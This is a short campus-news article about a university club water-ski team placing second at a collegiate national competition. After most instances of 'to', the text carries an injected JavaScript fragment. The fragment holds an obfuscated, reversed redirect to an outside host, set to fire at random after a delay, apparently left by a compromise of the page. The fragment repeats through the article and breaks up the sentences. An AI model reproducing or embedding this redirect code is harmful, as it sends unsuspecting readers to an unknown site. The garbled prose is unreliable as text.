The team traveled tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Texas, where they tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took part in the Connelly Collegiate Nationals competition.

Wisconsin’s second-place finish was a reflection of weeks of hard work, according tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to senior Gabby Taschwer.

“Everyone tried their best and we had some ups and downs, but so does every sports team and you just learn from them and hopefully carry that over tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to next season.”

The group’s Nationals performance was more than just a boost of confidence. Club Secretary Alaina Clague says the team’s recent success should help attract new members.

“We’re really hoping tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to use it as a point tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get across tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to everyone that this is a club sport that competes and competes very well across the nation.”

Established in 1999, the club has since built a respectable pipeline of water-skiers and alumni. And although Taschwer encourages anyone who is interested tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to try the sport…she says a water-skier has a unique persona.

“Water-skiers are very outgoing, friendly and they just want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have fun. You won’t catch that personality in any other sport or person.”

Further, Clague sees the team’s developing and outgoing personality already making an impact.

“Although we don’t know necessarily how much the campus knows about us, I think we’ve gotten more recognition than we have in the past.”  

It may take time, but there certainly looks tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be a positive ripple effect underway for current and future water skiers on campus.
